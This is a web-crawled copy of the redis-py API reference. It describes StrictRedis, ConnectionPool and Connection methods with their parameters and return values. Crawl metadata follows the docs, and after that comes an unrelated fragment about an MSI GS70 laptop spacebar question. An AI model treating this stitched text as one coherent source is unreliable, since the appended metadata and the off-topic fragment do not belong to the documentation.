If you’re looking to use the standard syntax, consider using the StrictRedis class. See the API Reference section of the docs for more information.
Set any number of element-name, score pairs to the key name. Pairs can be specified in two ways:
As *args, in the form of: name1, score1, name2, score2, ... or as **kwargs, in the form of: name1=score1, name2=score2, ...
The following example would add four values to the ‘my-key’ key: redis.zadd(‘my-key’, ‘name1’, 1.1, ‘name2’, 2.2, name3=3.3, name4=4.4)
class redis.StrictRedis(host='localhost', port=6379, db=0, password=None, socket_timeout=None, connection_pool=None, charset='utf-8', errors='strict', decode_responses=False, unix_socket_path=None)
Implementation of the Redis protocol.
This abstract class provides a Python interface to all Redis commands and an implementation of the Redis protocol.
Connection and Pipeline derive from this, implementing how the commands are sent and received to the Redis server
append(key, value)
Appends the string value to the value at key. If key doesn’t already exist, create it with a value of value. Returns the new length of the value at key.
bgrewriteaof()
Tell the Redis server to rewrite the AOF file from data in memory.
bgsave()
Tell the Redis server to save its data to disk. Unlike save(), this method is asynchronous and returns immediately.
bitcount(key, start=None, end=None)
Returns the count of set bits in the value of key. Optional start and end paramaters indicate which bytes to consider
bitop(operation, dest, *keys)
Perform a bitwise operation using operation between keys and store the result in dest.
blpop(keys, timeout=0)
LPOP a value off of the first non-empty list named in the keys list.
If none of the lists in keys has a value to LPOP, then block for timeout seconds, or until a value gets pushed on to one of the lists.
If timeout is 0, then block indefinitely.
brpop(keys, timeout=0)
RPOP a value off of the first non-empty list named in the keys list.
If none of the lists in keys has a value to LPOP, then block for timeout seconds, or until a value gets pushed on to one of the lists.
If timeout is 0, then block indefinitely.
brpoplpush(src, dst, timeout=0)
Pop a value off the tail of src, push it on the head of dst and then return it.
This command blocks until a value is in src or until timeout seconds elapse, whichever is first. A timeout value of 0 blocks forever.
client_kill(address)
Disconnects the client at address (ip:port)
client_list()
Returns a list of currently connected clients
config_get(pattern='*')
Return a dictionary of configuration based on the pattern
config_set(name, value)
Set config item name with value
dbsize()
Returns the number of keys in the current database
debug_object(key)
Returns version specific metainformation about a give key
decr(name, amount=1)
Decrements the value of key by amount. If no key exists, the value will be initialized as 0 - amount
delete(*names)
Delete one or more keys specified by names
echo(value)
Echo the string back from the server
eval(script, numkeys, *keys_and_args)
Execute the LUA script, specifying the numkeys the script will touch and the key names and argument values in keys_and_args. Returns the result of the script.
In practice, use the object returned by register_script. This function exists purely for Redis API completion.
evalsha(sha, numkeys, *keys_and_args)
Use the sha to execute a LUA script already registered via EVAL or SCRIPT LOAD. Specify the numkeys the script will touch and the key names and argument values in keys_and_args. Returns the result of the script.
In practice, use the object returned by register_script. This function exists purely for Redis API completion.
execute_command(*args, **options)
Execute a command and return a parsed response
exists(name)
Returns a boolean indicating whether key name exists
expire(name, time)
Set an expire flag on key name for time seconds. time can be represented by an integer or a Python timedelta object.
expireat(name, when)
Set an expire flag on key name. when can be represented as an integer indicating unix time or a Python datetime object.
flushall()
Delete all keys in all databases on the current host
flushdb()
Delete all keys in the current database
classmethod from_url(url, db=None, **kwargs)
Return a Redis client object configured from the given URL.
For example:
redis://username:password@localhost:6379/0
If db is None, this method will attempt to extract the database ID from the URL path component.
Any additional keyword arguments will be passed along to the Redis class’s initializer.
get(name)
Return the value at key name, or None if the key doesn’t exist
getbit(name, offset)
Returns a boolean indicating the value of offset in name
getrange(key, start, end)
Returns the substring of the string value stored at key, determined by the offsets start and end (both are inclusive)
getset(name, value)
Set the value at key name to value if key doesn’t exist Return the value at key name atomically
hdel(name, *keys)
Delete keys from hash name
hexists(name, key)
Returns a boolean indicating if key exists within hash name
hget(name, key)
Return the value of key within the hash name
hgetall(name)
Return a Python dict of the hash’s name/value pairs
hincrby(name, key, amount=1)
Increment the value of key in hash name by amount
hincrbyfloat(name, key, amount=1.0)
Increment the value of key in hash name by floating amount
hkeys(name)
Return the list of keys within hash name
hlen(name)
Return the number of elements in hash name
hmget(name, keys, *args)
Returns a list of values ordered identically to keys
hmset(name, mapping)
Sets each key in the mapping dict to its corresponding value in the hash name
hset(name, key, value)
Set key to value within hash name Returns 1 if HSET created a new field, otherwise 0
hsetnx(name, key, value)
Set key to value within hash name if key does not exist. Returns 1 if HSETNX created a field, otherwise 0.
hvals(name)
Return the list of values within hash name
incr(name, amount=1)
Increments the value of key by amount. If no key exists, the value will be initialized as amount
incrbyfloat(name, amount=1.0)
Increments the value at key name by floating amount. If no key exists, the value will be initialized as amount
info()
Returns a dictionary containing information about the Redis server
keys(pattern='*')
Returns a list of keys matching pattern
lastsave()
Return a Python datetime object representing the last time the Redis database was saved to disk
lindex(name, index)
Return the item from list name at position index
Negative indexes are supported and will return an item at the end of the list
linsert(name, where, refvalue, value)
Insert value in list name either immediately before or after [where] refvalue
Returns the new length of the list on success or -1 if refvalue is not in the list.
llen(name)
Return the length of the list name
lock(name, timeout=None, sleep=0.1)
Return a new Lock object using key name that mimics the behavior of threading.Lock.
If specified, timeout indicates a maximum life for the lock. By default, it will remain locked until release() is called.
sleep indicates the amount of time to sleep per loop iteration when the lock is in blocking mode and another client is currently holding the lock.
lpop(name)
Remove and return the first item of the list name
lpush(name, *values)
Push values onto the head of the list name
lpushx(name, value)
Push value onto the head of the list name if name exists
lrange(name, start, end)
Return a slice of the list name between position start and end
start and end can be negative numbers just like Python slicing notation
lrem(name, count, value)
Remove the first count occurrences of elements equal to value from the list stored at name.
The count argument influences the operation in the following ways:
count > 0: Remove elements equal to value moving from head to tail. count < 0: Remove elements equal to value moving from tail to head. count = 0: Remove all elements equal to value.
lset(name, index, value)
Set position of list name to value
ltrim(name, start, end)
Trim the list name, removing all values not within the slice between start and end
start and end can be negative numbers just like Python slicing notation
mget(keys, *args)
Returns a list of values ordered identically to keys
move(name, db)
Moves the key name to a different Redis database db
mset(mapping)
Sets each key in the mapping dict to its corresponding value
msetnx(mapping)
Sets each key in the mapping dict to its corresponding value if none of the keys are already set
object(infotype, key)
Return the encoding, idletime, or refcount about the key
parse_response(connection, command_name, **options)
Parses a response from the Redis server
persist(name)
Removes an expiration on name
pexpire(name, time)
Set an expire flag on key name for time milliseconds. time can be represented by an integer or a Python timedelta object.
pexpireat(name, when)
Set an expire flag on key name. when can be represented as an integer representing unix time in milliseconds (unix time * 1000) or a Python datetime object.
ping()
Ping the Redis server
pipeline(transaction=True, shard_hint=None)
Return a new pipeline object that can queue multiple commands for later execution. transaction indicates whether all commands should be executed atomically. Apart from making a group of operations atomic, pipelines are useful for reducing the back-and-forth overhead between the client and server.
pttl(name)
Returns the number of milliseconds until the key name will expire
publish(channel, message)
Publish message on channel. Returns the number of subscribers the message was delivered to.
pubsub(shard_hint=None)
Return a Publish/Subscribe object. With this object, you can subscribe to channels and listen for messages that get published to them.
randomkey()
Returns the name of a random key
register_script(script)
Register a LUA script specifying the keys it will touch. Returns a Script object that is callable and hides the complexity of deal with scripts, keys, and shas. This is the preferred way to work with LUA scripts.
rename(src, dst)
Rename key src to dst
renamenx(src, dst)
Rename key src to dst if dst doesn’t already exist
rpop(name)
Remove and return the last item of the list name
rpoplpush(src, dst)
RPOP a value off of the src list and atomically LPUSH it on to the dst list. Returns the value.
rpush(name, *values)
Push values onto the tail of the list name
rpushx(name, value)
Push value onto the tail of the list name if name exists
sadd(name, *values)
Add value(s) to set name
save()
Tell the Redis server to save its data to disk, blocking until the save is complete
scard(name)
Return the number of elements in set name
script_exists(*args)
Check if a script exists in the script cache by specifying the SHAs of each script as args. Returns a list of boolean values indicating if if each already script exists in the cache.
script_flush()
Flush all scripts from the script cache
script_kill()
Kill the currently executing LUA script
script_load(script)
Load a LUA script into the script cache. Returns the SHA.
sdiff(keys, *args)
Return the difference of sets specified by keys
sdiffstore(dest, keys, *args)
Store the difference of sets specified by keys into a new set named dest. Returns the number of keys in the new set.
set(name, value)
Set the value at key name to value
set_response_callback(command, callback)
Set a custom Response Callback
setbit(name, offset, value)
Flag the offset in name as value. Returns a boolean indicating the previous value of offset.
setex(name, time, value)
Set the value of key name to value that expires in time seconds. time can be represented by an integer or a Python timedelta object.
setnx(name, value)
Set the value of key name to value if key doesn’t exist
setrange(name, offset, value)
Overwrite bytes in the value of name starting at offset with value. If offset plus the length of value exceeds the length of the original value, the new value will be larger than before. If offset exceeds the length of the original value, null bytes will be used to pad between the end of the previous value and the start of what’s being injected.
Returns the length of the new string.
shutdown()
Shutdown the server
sinter(keys, *args)
Return the intersection of sets specified by keys
sinterstore(dest, keys, *args)
Store the intersection of sets specified by keys into a new set named dest. Returns the number of keys in the new set.
sismember(name, value)
Return a boolean indicating if value is a member of set name
slaveof(host=None, port=None)
Set the server to be a replicated slave of the instance identified by the host and port. If called without arguements, the instance is promoted to a master instead.
smembers(name)
Return all members of the set name
smove(src, dst, value)
Move value from set src to set dst atomically
sort(name, start=None, num=None, by=None, get=None, desc=False, alpha=False, store=None)
Sort and return the list, set or sorted set at name.
start and num allow for paging through the sorted data
by allows using an external key to weight and sort the items.
Use an “*” to indicate where in the key the item value is located
get allows for returning items from external keys rather than the
sorted data itself. Use an “*” to indicate where int he key the item value is located
desc allows for reversing the sort
alpha allows for sorting lexicographically rather than numerically
store allows for storing the result of the sort into
the key store
spop(name)
Remove and return a random member of set name
srandmember(name, number=None)
If number is None, returns a random member of set name.
If number is supplied, returns a list of number random memebers of set name. Note this is only available when running Redis 2.6+.
srem(name, *values)
Remove values from set name
strlen(name)
Return the number of bytes stored in the value of name
substr(name, start, end=-1)
Return a substring of the string at key name. start and end are 0-based integers specifying the portion of the string to return.
sunion(keys, *args)
Return the union of sets specifiued by keys
sunionstore(dest, keys, *args)
Store the union of sets specified by keys into a new set named dest. Returns the number of keys in the new set.
time()
Returns the server time as a 2-item tuple of ints: (seconds since epoch, microseconds into this second).
transaction(func, *watches, **kwargs)
Convenience method for executing the callable func as a transaction while watching all keys specified in watches. The ‘func’ callable should expect a single arguement which is a Pipeline object.
ttl(name)
Returns the number of seconds until the key name will expire
type(name)
Returns the type of key name
unwatch()
Unwatches the value at key name, or None of the key doesn’t exist
watch(*names)
Watches the values at keys names, or None if the key doesn’t exist
zadd(name, *args, **kwargs)
Set any number of score, element-name pairs to the key name. Pairs can be specified in two ways:
As *args, in the form of: score1, name1, score2, name2, ... or as **kwargs, in the form of: name1=score1, name2=score2, ...
The following example would add four values to the ‘my-key’ key: redis.zadd(‘my-key’, 1.1, ‘name1’, 2.2, ‘name2’, name3=3.3, name4=4.4)
zcard(name)
Return the number of elements in the sorted set name
zincrby(name, value, amount=1)
Increment the score of value in sorted set name by amount
zinterstore(dest, keys, aggregate=None)
Intersect multiple sorted sets specified by keys into a new sorted set, dest. Scores in the destination will be aggregated based on the aggregate, or SUM if none is provided.
zrange(name, start, end, desc=False, withscores=False, score_cast_func=<type 'float'>)
Return a range of values from sorted set name between start and end sorted in ascending order.
start and end can be negative, indicating the end of the range.
desc a boolean indicating whether to sort the results descendingly
withscores indicates to return the scores along with the values. The return type is a list of (value, score) pairs
score_cast_func a callable used to cast the score return value
zrangebyscore(name, min, max, start=None, num=None, withscores=False, score_cast_func=<type 'float'>)
Return a range of values from the sorted set name with scores between min and max.
If start and num are specified, then return a slice of the range.
withscores indicates to return the scores along with the values. The return type is a list of (value, score) pairs
score_cast_func` a callable used to cast the score return value
zrank(name, value)
Returns a 0-based value indicating the rank of value in sorted set name
zrem(name, *values)
Remove member values from sorted set name
zremrangebyrank(name, min, max)
Remove all elements in the sorted set name with ranks between min and max. Values are 0-based, ordered from smallest score to largest. Values can be negative indicating the highest scores. Returns the number of elements removed
zremrangebyscore(name, min, max)
Remove all elements in the sorted set name with scores between min and max. Returns the number of elements removed.
zrevrange(name, start, num, withscores=False, score_cast_func=<type 'float'>)
Return a range of values from sorted set name between start and num sorted in descending order.
start and num can be negative, indicating the end of the range.
withscores indicates to return the scores along with the values The return type is a list of (value, score) pairs
score_cast_func a callable used to cast the score return value
zrevrangebyscore(name, max, min, start=None, num=None, withscores=False, score_cast_func=<type 'float'>)
Return a range of values from the sorted set name with scores between min and max in descending order.
If start and num are specified, then return a slice of the range.
withscores indicates to return the scores along with the values. The return type is a list of (value, score) pairs
score_cast_func a callable used to cast the score return value
zrevrank(name, value)
Returns a 0-based value indicating the descending rank of value in sorted set name
zscore(name, value)
Return the score of element value in sorted set name
zunionstore(dest, keys, aggregate=None)
Union multiple sorted sets specified by keys into a new sorted set, dest. Scores in the destination will be aggregated based on the aggregate, or SUM if none is provided.
class redis.ConnectionPool(connection_class=<class 'redis.connection.Connection'>, max_connections=None, **connection_kwargs)
Generic connection pool
disconnect()
Disconnects all connections in the pool
get_connection(command_name, *keys, **options)
Get a connection from the pool
make_connection()
Create a new connection
release(connection)
Releases the connection back to the pool
class redis.Connection(host='localhost', port=6379, db=0, password=None, socket_timeout=None, encoding='utf-8', encoding_errors='strict', decode_responses=False, parser_class=<class 'redis.connection.HiredisParser'>)
Manages TCP communication to and from a Redis server
connect()
Connects to the Redis server if not already connected
disconnect()
Disconnects from the Redis server
encode(value)
Return a bytestring representation of the value
on_connect()
Initialize the connection, authenticate and select a database
pack_command(*args)
Pack a series of arguments into a value Redis command
read_response()
Read the response from a previously sent command
send_command(*args)
Pack and send a command to the Redis server
send_packed_command(command)
Send an already packed command to the Redis server
redis.from_url(url, db=None, **kwargs)
Returns an active Redis client generated from the given database URL.
Will attempt to extract the database id from the path url fragment, if none is provided. | {
"url": "http://redis-py.readthedocs.org/en/latest/index.html",
"source_domain": "redis-py.readthedocs.org",
"snapshot_id": "crawl=CC-MAIN-2014-23",
"warc_metadata": {
"Content-Length": "85165",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:5BLZBGMEDGXH6XTB7AQ4XGJX4GAHG43I",
"WARC-Concurrent-To": "<urn:uuid:9ffe972a-e3ad-4c7d-a5d9-f1e30e3d902f>",
"WARC-Date": "2014-07-23T03:21:24Z",
"WARC-IP-Address": "162.209.114.75",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:IX3OWIOR2VEMQKSM4SRXJ2XIPNBOOKJH",
"WARC-Record-ID": "<urn:uuid:33ff680f-eb86-4d8e-b823-dc94e095d846>",
"WARC-Target-URI": "http://redis-py.readthedocs.org/en/latest/index.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:3057d8d2-8454-4419-9926-d492c63a6aef>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-33-131-23.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-23\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for July 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
37,
38,
57,
58,
68,
69,
261,
262,
410,
411,
436,
437,
527,
528,
593,
770,
814,
815,
1113,
1114,
1139,
1140,
1273,
1274,
1302,
1303,
1557,
1558,
1706,
1707,
1804,
1805,
1929,
1930,
2066,
2067,
2265,
2266,
2304,
2305,
2420,
2421,
2535,
2536,
2555,
2556,
2709,
2710,
2725,
2726,
2793,
2794,
2803,
2804,
2920,
2921,
2957,
2958,
3076,
3077,
3107,
3108,
3195,
3196,
3219,
3220,
3289,
3290,
3425,
3426,
3468,
3469,
3492,
3493,
3562,
3563,
3698,
3699,
3741,
3742,
3774,
3775,
3855,
3856,
3990,
3991,
4012,
4013,
4057,
4058,
4072,
4073,
4119,
4120,
4144,
4145,
4203,
4204,
4228,
4229,
4261,
4262,
4271,
4272,
4323,
4324,
4342,
4343,
4401,
4402,
4423,
4424,
4525,
4526,
4541,
4542,
4585,
4586,
4598,
4599,
4636,
4637,
4675,
4676,
4835,
4836,
4947,
4948,
4986,
4987,
5199,
5200,
5311,
5312,
5346,
5347,
5394,
5395,
5408,
5409,
5462,
5463,
5482,
5483,
5600,
5601,
5622,
5623,
5743,
5744,
5755,
5756,
5809,
5810,
5820,
5821,
5861,
5862,
5907,
5908,
5968,
5969,
5982,
5983,
6026,
6027,
6123,
6124,
6212,
6213,
6223,
6224,
6287,
6288,
6309,
6310,
6367,
6368,
6394,
6395,
6513,
6514,
6534,
6535,
6631,
6632,
6650,
6651,
6678,
6679,
6698,
6699,
6759,
6760,
6776,
6777,
6822,
6823,
6837,
6838,
6890,
6891,
6920,
6921,
6971,
6972,
7008,
7009,
7068,
7069,
7081,
7082,
7123,
7124,
7135,
7136,
7179,
7180,
7205,
7206,
7259,
7260,
7281,
7282,
7360,
7361,
7384,
7385,
7470,
7471,
7496,
7497,
7604,
7605,
7617,
7618,
7661,
7662,
7683,
7684,
7781,
7782,
7812,
7813,
7924,
7925,
7932,
7933,
8000,
8001,
8019,
8020,
8060,
8061,
8072,
8073,
8169,
8170,
8190,
8191,
8240,
8241,
8319,
8320,
8358,
8359,
8437,
8438,
8522,
8523,
8534,
8535,
8570,
8571,
8607,
8608,
8692,
8693,
8815,
8816,
8963,
8964,
8975,
8976,
9026,
9027,
9048,
9049,
9092,
9093,
9113,
9114,
9171,
9172,
9197,
9198,
9261,
9262,
9334,
9335,
9360,
9361,
9453,
9454,
9521,
9704,
9729,
9730,
9765,
9766,
9790,
9791,
9874,
9875,
9947,
9948,
9966,
9967,
10020,
10021,
10036,
10037,
10089,
10090,
10104,
10105,
10166,
10167,
10183,
10184,
10281,
10282,
10304,
10305,
10362,
10363,
10415,
10416,
10456,
10457,
10471,
10472,
10502,
10503,
10523,
10524,
10646,
10647,
10669,
10670,
10827,
10828,
10835,
10836,
10858,
10859,
10903,
10904,
11202,
11203,
11214,
11215,
11281,
11282,
11308,
11309,
11401,
11402,
11426,
11427,
11562,
11563,
11575,
11576,
11609,
11610,
11634,
11635,
11848,
11849,
11866,
11867,
11889,
11890,
11909,
11910,
11961,
11962,
11973,
11974,
12023,
12024,
12044,
12045,
12141,
12142,
12163,
12164,
12207,
12208,
12228,
12229,
12286,
12287,
12307,
12308,
12333,
12334,
12341,
12342,
12426,
12427,
12439,
12440,
12482,
12483,
12504,
12505,
12688,
12689,
12704,
12705,
12745,
12746,
12760,
12761,
12801,
12802,
12822,
12823,
12881,
12882,
12901,
12902,
12950,
12951,
12981,
12982,
13099,
13100,
13117,
13118,
13153,
13154,
13195,
13196,
13227,
13228,
13256,
13257,
13350,
13351,
13376,
13377,
13510,
13511,
13530,
13531,
13587,
13588,
13618,
13619,
13967,
13968,
14006,
14007,
14018,
14019,
14039,
14040,
14060,
14061,
14111,
14112,
14143,
14144,
14263,
14264,
14287,
14288,
14349,
14350,
14380,
14381,
14546,
14547,
14562,
14563,
14598,
14599,
14622,
14623,
14669,
14670,
14759,
14760,
14813,
14814,
14869,
14870,
14932,
14998,
15064,
15150,
15151,
15186,
15187,
15254,
15255,
15308,
15322,
15333,
15334,
15380,
15381,
15412,
15413,
15469,
15470,
15600,
15601,
15621,
15622,
15650,
15651,
15664,
15665,
15720,
15721,
15749,
15750,
15879,
15880,
15900,
15901,
15945,
15946,
15977,
15978,
16090,
16091,
16098,
16099,
16204,
16205,
16243,
16244,
16439,
16440,
16450,
16451,
16512,
16513,
16524,
16525,
16554,
16555,
16565,
16566,
16632,
16633,
16647,
16648,
16715,
16716,
16744,
16745,
16842,
16843,
16967,
16968,
17104,
17105,
17117,
17118,
17171,
17172,
17203,
17204,
17262,
17263,
17303,
17304,
17479,
17480,
17567,
17568,
17663,
17664,
17728,
17729,
17796,
17797,
17912,
17913,
17976,
17977,
18079,
18080,
18163,
18164,
18230,
18231,
18346,
18347,
18411,
18412,
18431,
18432,
18504,
18505,
18525,
18526,
18568,
18569,
18601,
18602,
18830,
18831,
18864,
18865,
18981,
18982,
19060,
19061,
19157,
19158,
19222,
19223,
19337,
19338,
19401,
19402,
19507,
19508,
19611,
19612,
19678,
19679,
19794,
19795,
19858,
19859,
19881,
19882,
19965,
19966,
19986,
19987,
20040,
20041,
20081,
20082,
20253,
20254,
20380,
20381,
20405,
20406,
20419,
20420,
20460,
20461,
20508,
20509,
20540,
20541,
20559,
20560,
20584,
20585,
20605,
20606,
20647,
20648,
20865,
20866,
20919,
20920,
20930,
20931,
20985,
20986,
20999,
21000,
21034,
21035,
21049,
21050,
21098,
21099,
21112,
21113,
21175,
21176,
21196,
21197,
21251,
21252,
21268,
21269,
21318,
21319,
21339,
21340,
21384,
21385,
21414,
21415,
21466,
21467,
21506,
21507,
21577,
21578
],
"line_end_idx": [
37,
38,
57,
58,
68,
69,
261,
262,
410,
411,
436,
437,
527,
528,
593,
770,
814,
815,
1113,
1114,
1139,
1140,
1273,
1274,
1302,
1303,
1557,
1558,
1706,
1707,
1804,
1805,
1929,
1930,
2066,
2067,
2265,
2266,
2304,
2305,
2420,
2421,
2535,
2536,
2555,
2556,
2709,
2710,
2725,
2726,
2793,
2794,
2803,
2804,
2920,
2921,
2957,
2958,
3076,
3077,
3107,
3108,
3195,
3196,
3219,
3220,
3289,
3290,
3425,
3426,
3468,
3469,
3492,
3493,
3562,
3563,
3698,
3699,
3741,
3742,
3774,
3775,
3855,
3856,
3990,
3991,
4012,
4013,
4057,
4058,
4072,
4073,
4119,
4120,
4144,
4145,
4203,
4204,
4228,
4229,
4261,
4262,
4271,
4272,
4323,
4324,
4342,
4343,
4401,
4402,
4423,
4424,
4525,
4526,
4541,
4542,
4585,
4586,
4598,
4599,
4636,
4637,
4675,
4676,
4835,
4836,
4947,
4948,
4986,
4987,
5199,
5200,
5311,
5312,
5346,
5347,
5394,
5395,
5408,
5409,
5462,
5463,
5482,
5483,
5600,
5601,
5622,
5623,
5743,
5744,
5755,
5756,
5809,
5810,
5820,
5821,
5861,
5862,
5907,
5908,
5968,
5969,
5982,
5983,
6026,
6027,
6123,
6124,
6212,
6213,
6223,
6224,
6287,
6288,
6309,
6310,
6367,
6368,
6394,
6395,
6513,
6514,
6534,
6535,
6631,
6632,
6650,
6651,
6678,
6679,
6698,
6699,
6759,
6760,
6776,
6777,
6822,
6823,
6837,
6838,
6890,
6891,
6920,
6921,
6971,
6972,
7008,
7009,
7068,
7069,
7081,
7082,
7123,
7124,
7135,
7136,
7179,
7180,
7205,
7206,
7259,
7260,
7281,
7282,
7360,
7361,
7384,
7385,
7470,
7471,
7496,
7497,
7604,
7605,
7617,
7618,
7661,
7662,
7683,
7684,
7781,
7782,
7812,
7813,
7924,
7925,
7932,
7933,
8000,
8001,
8019,
8020,
8060,
8061,
8072,
8073,
8169,
8170,
8190,
8191,
8240,
8241,
8319,
8320,
8358,
8359,
8437,
8438,
8522,
8523,
8534,
8535,
8570,
8571,
8607,
8608,
8692,
8693,
8815,
8816,
8963,
8964,
8975,
8976,
9026,
9027,
9048,
9049,
9092,
9093,
9113,
9114,
9171,
9172,
9197,
9198,
9261,
9262,
9334,
9335,
9360,
9361,
9453,
9454,
9521,
9704,
9729,
9730,
9765,
9766,
9790,
9791,
9874,
9875,
9947,
9948,
9966,
9967,
10020,
10021,
10036,
10037,
10089,
10090,
10104,
10105,
10166,
10167,
10183,
10184,
10281,
10282,
10304,
10305,
10362,
10363,
10415,
10416,
10456,
10457,
10471,
10472,
10502,
10503,
10523,
10524,
10646,
10647,
10669,
10670,
10827,
10828,
10835,
10836,
10858,
10859,
10903,
10904,
11202,
11203,
11214,
11215,
11281,
11282,
11308,
11309,
11401,
11402,
11426,
11427,
11562,
11563,
11575,
11576,
11609,
11610,
11634,
11635,
11848,
11849,
11866,
11867,
11889,
11890,
11909,
11910,
11961,
11962,
11973,
11974,
12023,
12024,
12044,
12045,
12141,
12142,
12163,
12164,
12207,
12208,
12228,
12229,
12286,
12287,
12307,
12308,
12333,
12334,
12341,
12342,
12426,
12427,
12439,
12440,
12482,
12483,
12504,
12505,
12688,
12689,
12704,
12705,
12745,
12746,
12760,
12761,
12801,
12802,
12822,
12823,
12881,
12882,
12901,
12902,
12950,
12951,
12981,
12982,
13099,
13100,
13117,
13118,
13153,
13154,
13195,
13196,
13227,
13228,
13256,
13257,
13350,
13351,
13376,
13377,
13510,
13511,
13530,
13531,
13587,
13588,
13618,
13619,
13967,
13968,
14006,
14007,
14018,
14019,
14039,
14040,
14060,
14061,
14111,
14112,
14143,
14144,
14263,
14264,
14287,
14288,
14349,
14350,
14380,
14381,
14546,
14547,
14562,
14563,
14598,
14599,
14622,
14623,
14669,
14670,
14759,
14760,
14813,
14814,
14869,
14870,
14932,
14998,
15064,
15150,
15151,
15186,
15187,
15254,
15255,
15308,
15322,
15333,
15334,
15380,
15381,
15412,
15413,
15469,
15470,
15600,
15601,
15621,
15622,
15650,
15651,
15664,
15665,
15720,
15721,
15749,
15750,
15879,
15880,
15900,
15901,
15945,
15946,
15977,
15978,
16090,
16091,
16098,
16099,
16204,
16205,
16243,
16244,
16439,
16440,
16450,
16451,
16512,
16513,
16524,
16525,
16554,
16555,
16565,
16566,
16632,
16633,
16647,
16648,
16715,
16716,
16744,
16745,
16842,
16843,
16967,
16968,
17104,
17105,
17117,
17118,
17171,
17172,
17203,
17204,
17262,
17263,
17303,
17304,
17479,
17480,
17567,
17568,
17663,
17664,
17728,
17729,
17796,
17797,
17912,
17913,
17976,
17977,
18079,
18080,
18163,
18164,
18230,
18231,
18346,
18347,
18411,
18412,
18431,
18432,
18504,
18505,
18525,
18526,
18568,
18569,
18601,
18602,
18830,
18831,
18864,
18865,
18981,
18982,
19060,
19061,
19157,
19158,
19222,
19223,
19337,
19338,
19401,
19402,
19507,
19508,
19611,
19612,
19678,
19679,
19794,
19795,
19858,
19859,
19881,
19882,
19965,
19966,
19986,
19987,
20040,
20041,
20081,
20082,
20253,
20254,
20380,
20381,
20405,
20406,
20419,
20420,
20460,
20461,
20508,
20509,
20540,
20541,
20559,
20560,
20584,
20585,
20605,
20606,
20647,
20648,
20865,
20866,
20919,
20920,
20930,
20931,
20985,
20986,
20999,
21000,
21034,
21035,
21049,
21050,
21098,
21099,
21112,
21113,
21175,
21176,
21196,
21197,
21251,
21252,
21268,
21269,
21318,
21319,
21339,
21340,
21384,
21385,
21414,
21415,
21466,
21467,
21506,
21507,
21577,
21578,
21666
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 21666,
"ccnet_original_nlines": 715,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.34705495834350586,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0070067900232970715,
"rps_doc_frac_lines_end_with_ellipsis": 0.0027932999655604362,
"rps_doc_frac_no_alph_words": 0.2246551364660263,
"rps_doc_frac_unique_words": 0.22095122933387756,
"rps_doc_mean_word_length": 5.078266143798828,
"rps_doc_num_sentences": 163,
"rps_doc_symbol_to_word_ratio": 0.0008758499752730131,
"rps_doc_unigram_entropy": 5.387348651885986,
"rps_doc_word_count": 3322,
"rps_doc_frac_chars_dupe_10grams": 0.2860106825828552,
"rps_doc_frac_chars_dupe_5grams": 0.4315945506095886,
"rps_doc_frac_chars_dupe_6grams": 0.40088915824890137,
"rps_doc_frac_chars_dupe_7grams": 0.37000593543052673,
"rps_doc_frac_chars_dupe_8grams": 0.3349733352661133,
"rps_doc_frac_chars_dupe_9grams": 0.324007123708725,
"rps_doc_frac_chars_top_2gram": 0.012448130175471306,
"rps_doc_frac_chars_top_3gram": 0.008476589806377888,
"rps_doc_frac_chars_top_4gram": 0.006935390178114176,
"rps_doc_books_importance": -2450.984130859375,
"rps_doc_books_importance_length_correction": -2450.984130859375,
"rps_doc_openwebtext_importance": -1341.8614501953125,
"rps_doc_openwebtext_importance_length_correction": -1341.8614501953125,
"rps_doc_wikipedia_importance": -1118.9520263671875,
"rps_doc_wikipedia_importance_length_correction": -1118.9520263671875
},
"fasttext": {
"dclm": 0.18801593780517578,
"english": 0.7243282198905945,
"fineweb_edu_approx": 2.3081130981445312,
"eai_general_math": 0.6286411285400391,
"eai_open_web_math": 0.05234473943710327,
"eai_web_code": 0.989423394203186
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
7,750,850,479,889,408,000 | Also known as the GS70 Stealth, this 17" gaming laptop was released in summer 2013 by Micro-Star International.
13 Questions View all
How can fix my msi gs70 spacebar?
